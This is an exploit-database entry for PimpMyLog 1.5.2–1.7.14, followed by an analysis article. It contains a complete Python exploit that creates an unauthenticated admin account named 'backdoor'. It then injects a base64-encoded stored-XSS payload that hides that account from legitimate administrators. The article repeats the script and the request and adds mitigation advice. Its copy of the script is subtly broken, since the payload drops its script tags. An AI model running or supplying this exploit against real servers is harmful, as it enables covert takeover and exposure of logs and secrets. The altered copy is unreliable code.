PimpMyLog v1.7.14 - Improper access control

Exploit Author: thoughtfault Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-07-19
# Exploit Title: PimpMyLog v1.7.14 - Improper access control
# Date: 2023-07-10
# Exploit Author: thoughtfault
# Vendor Homepage: https://www.pimpmylog.com/
# Software Link: https://github.com/potsky/PimpMyLog
# Version: 1.5.2-1.7.14
# Tested on: Ubuntu 22.04
# CVE : N/A
# Description: PimpMyLog suffers from improper access control on the account creation endpoint, allowing a remote attacker to create an admin account without any existing permissions. The username is not sanitized and can be leveraged as a vector for stored XSS. This allows the attacker to hide the presence of the backdoor account from legitimate admins.  Depending on the previous configuration, an attacker may be able to view sensitive information in apache, iis, nginx, and/or php logs. The attacker can view server-side environmental variables through the debug feature, which may include passwords or api keys.
import requests
import argparse
from base64 import b64encode

js = """var table = document.getElementById("userlisttable");
var rows = table.getElementsByTagName("tr");
for (var i = 0; i < rows.length; i++) {
  var cells = rows[i].getElementsByTagName("td");
  for (var j = 0; j < cells.length; j++) {
    var anchors = cells[j].getElementsByTagName("a");
    for (var k = 0; k < anchors.length; k++) {
      if (
        anchors[k].innerText === "{}" ||
        anchors[k].innerText.includes("atob(") ||
        anchors[k].querySelector("script") !== null
      ) {
        rows[i].parentNode.removeChild(rows[i]);
      }
    }
  }
}
var userCountElement = document.querySelector('.lead');
var userCountText = userCountElement.textContent;
var userCount = parseInt(userCountText);
if(!isNaN(userCount)){
        userCount--;
        userCountElement.textContent = userCount + ' Users';
}"""

payload = "<script>eval(atob('{}'));</script>"


def backdoor(url, username, password):
    config_url = url + '/inc/configure.php'

    print("[*] Creating admin account...")
    r = requests.post(config_url, data={'s':'authsave', 'u': username, 'p': password})
    if r.status_code != 200:
        print("[!] An error occured")
        return

    print("[*] Hiding admin account...")
    base64_js = b64encode(js.format(username).encode()).decode()
    xss_payload = payload.format(base64_js)

    r = requests.post(config_url, data={'s':'authsave', 'u': xss_payload, 'p': password})
    if r.status_code != 200:
        print("[!] An error occured")
        return


    print("[*] Exploit finished!")

parser = argparse.ArgumentParser()
parser.add_argument('--url', help='The base url of the target', required=True)
parser.add_argument('--username', default='backdoor', help='The username of the backdoor account')
parser.add_argument('--password', default='backdoor', help='The password of the backdoor account')
args = parser.parse_args()

backdoor(args.url.rstrip('/'), args.username, args.password)


PimpMyLog v1.7.14: A Critical Security Flaw in Access Control and XSS Exploitation

Security vulnerabilities in open-source logging tools can have far-reaching consequences, especially when they enable unauthorized access to administrative privileges. The PimpMyLog project, a popular web-based log viewer, recently exposed a critical flaw in versions 1.5.2 through 1.7.14—a vulnerability that allows remote attackers to create an admin account without any prior authentication, effectively bypassing the entire access control system.

Understanding the Vulnerability: Improper Access Control

At its core, the flaw lies in the account creation endpoint at /inc/configure.php. This endpoint is designed to allow administrators to add new users, but it fails to enforce proper access control checks. Specifically, the system does not validate whether the requester has administrative privileges before allowing account creation.

Attackers can exploit this by sending a simple POST request to the endpoint with a crafted username and password. The lack of authentication validation means that even unauthenticated users can register accounts with full admin rights.


POST /inc/configure.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

s=authsave&u=admin_user&p=secure_password

This request, when sent without authentication, results in the creation of a new user with elevated privileges. The system does not verify the origin or legitimacy of the request, making it a prime vector for privilege escalation.

Exploitation via Stored XSS: Hiding the Backdoor

What makes this vulnerability particularly dangerous is the combination of improper access control with a stored cross-site scripting (XSS) flaw. The username field is not sanitized, allowing attackers to inject malicious JavaScript code directly into the system.

Attackers can leverage this to hide their backdoor account from legitimate administrators. By inserting a script that dynamically removes the backdoor user from the user list table, the attacker ensures that the account remains invisible in the web interface.


var table = document.getElementById("userlisttable");
var rows = table.getElementsByTagName("tr");
for (var i = 0; i < rows.length; i++) {
    var cells = rows[i].getElementsByTagName("td");
    for (var j = 0; j < cells.length; j++) {
        var anchors = cells[j].getElementsByTagName("a");
        for (var k = 0; k < anchors.length; k++) {
            if (
                anchors[k].innerText === "{}" ||
                anchors[k].innerText.includes("atob(") ||
                anchors[k].querySelector("script") !== null
            ) {
                rows[i].parentNode.removeChild(rows[i]);
            }
        }
    }
}
var userCountElement = document.querySelector('.lead');
var userCountText = userCountElement.textContent;
var userCount = parseInt(userCountText);
if(!isNaN(userCount)){
    userCount--;
    userCountElement.textContent = userCount + ' Users';
}

This JavaScript code, when injected as a username, executes on every page load. It scans the user list table and removes any row containing the attacker’s username, even if the username appears in a link or a script tag. It also reduces the displayed user count, making the backdoor account appear non-existent.

The script is encoded using base64 to avoid detection by simple filters. The payload is constructed as:


eval(atob('{}'));

Where {} is replaced with the base64-encoded JavaScript code. This allows the attacker to execute arbitrary code on the client side without triggering alerts from basic input sanitization.

Additional Risks: Exposure of Sensitive Information

Beyond account creation and XSS, the vulnerability exposes several other attack vectors:

  • Log File Access: Depending on the configuration, attackers may gain access to sensitive server logs, including Apache, IIS, Nginx, and PHP error logs. These logs often contain debug information, stack traces, and even credentials.
  • Debug Feature Exposure: The debug mode feature in PimpMyLog allows users to view server-side environmental variables. These can include API keys, database passwords, or secret tokens stored in environment variables.
  • Remote Code Execution: While not directly present in this exploit, the combination of admin access and XSS opens the door to further exploitation, such as injecting malicious scripts to steal session cookies or redirect users to phishing pages.

Real-World Impact and Attack Scenario

Imagine a scenario where an attacker targets a web server running PimpMyLog v1.7.14 on a public-facing website. The attacker uses a simple Python script to automate the exploit:


import requests
import argparse
from base64 import b64encode

js = """var table = document.getElementById("userlisttable");
var rows = table.getElementsByTagName("tr");
for (var i = 0; i < rows.length; i++) {
 var cells = rows[i].getElementsByTagName("td");
 for (var j = 0; j < cells.length; j++) {
 var anchors = cells[j].getElementsByTagName("a");
 for (var k = 0; k < anchors.length; k++) {
 if (
 anchors[k].innerText === "{}" ||
 anchors[k].innerText.includes("atob(") ||
 anchors[k].querySelector("script") !== null
 ) {
 rows[i].parentNode.removeChild(rows[i]);
 }
 }
 }
}
var userCountElement = document.querySelector('.lead');
var userCountText = userCountElement.textContent;
var userCount = parseInt(userCountText);
if(!isNaN(userCount)){
 userCount--;
 userCountElement.textContent = userCount + ' Users';
}"""

payload = "eval(atob('{}'));"

def backdoor(url, username, password):
    config_url = url + '/inc/configure.php'
    print("[*] Creating admin account...")
    r = requests.post(config_url, data={'s':'authsave', 'u': username, 'p': password})
    if r.status_code != 200:
        print("[!] An error occured")
        return

    print("[*] Hiding admin account...")
    base64_js = b64encode(js.format(username).encode()).decode()
    xss_payload = payload.format(base64_js)
    r = requests.post(config_url, data={'s':'authsave', 'u': xss_payload, 'p': password})
    if r.status_code != 200:
        print("[!] An error occured")
        return

    print("[*] Exploit finished!")

parser = argparse.ArgumentParser()
parser.add_argument('--url', help='The base url of the target', required=True)
parser.add_argument('--username', default='backdoor', help='The username of the backdoor account')
parser.add_argument('--password', default='backdoor', help='The password of the backdoor account')
args = parser.parse_args()

backdoor(args.url.rstrip('/'), args.username, args.password)

Running this script with:


python exploit.py --url http://example.com --username backdoor --password backdoor

Results in the creation of a hidden admin account. The attacker can then log in via the admin interface, access logs, view debug data, and perform further reconnaissance or lateral movement.

Recommendations and Mitigation Strategies

For developers and administrators using PimpMyLog:

  • Update Immediately: Upgrade to version 1.7.15 or later, which includes fixes for this vulnerability.
  • Implement Input Sanitization: Always sanitize user inputs, especially usernames and passwords, using whitelisting or escaping techniques.
  • Enforce Access Control: Ensure that account creation endpoints require authenticated admin access.
  • Disable Debug Mode: If not needed, disable the debug feature in production environments to prevent exposure of sensitive data.
  • Monitor Logs: Regularly audit access logs and user lists for anomalies, especially unexpected admin accounts.

Conclusion: Lessons from PimpMyLog

The PimpMyLog v1.7.14 vulnerability underscores a fundamental principle in cybersecurity: access control must be enforced at every endpoint. Even seemingly benign features like user management can become backdoors if not properly secured.

Attackers don't need complex payloads—they can exploit simple design flaws. This case demonstrates how a combination of improper access control and stored XSS can lead to full system compromise. It serves as a powerful reminder: security is not a single layer—it’s a holistic defense.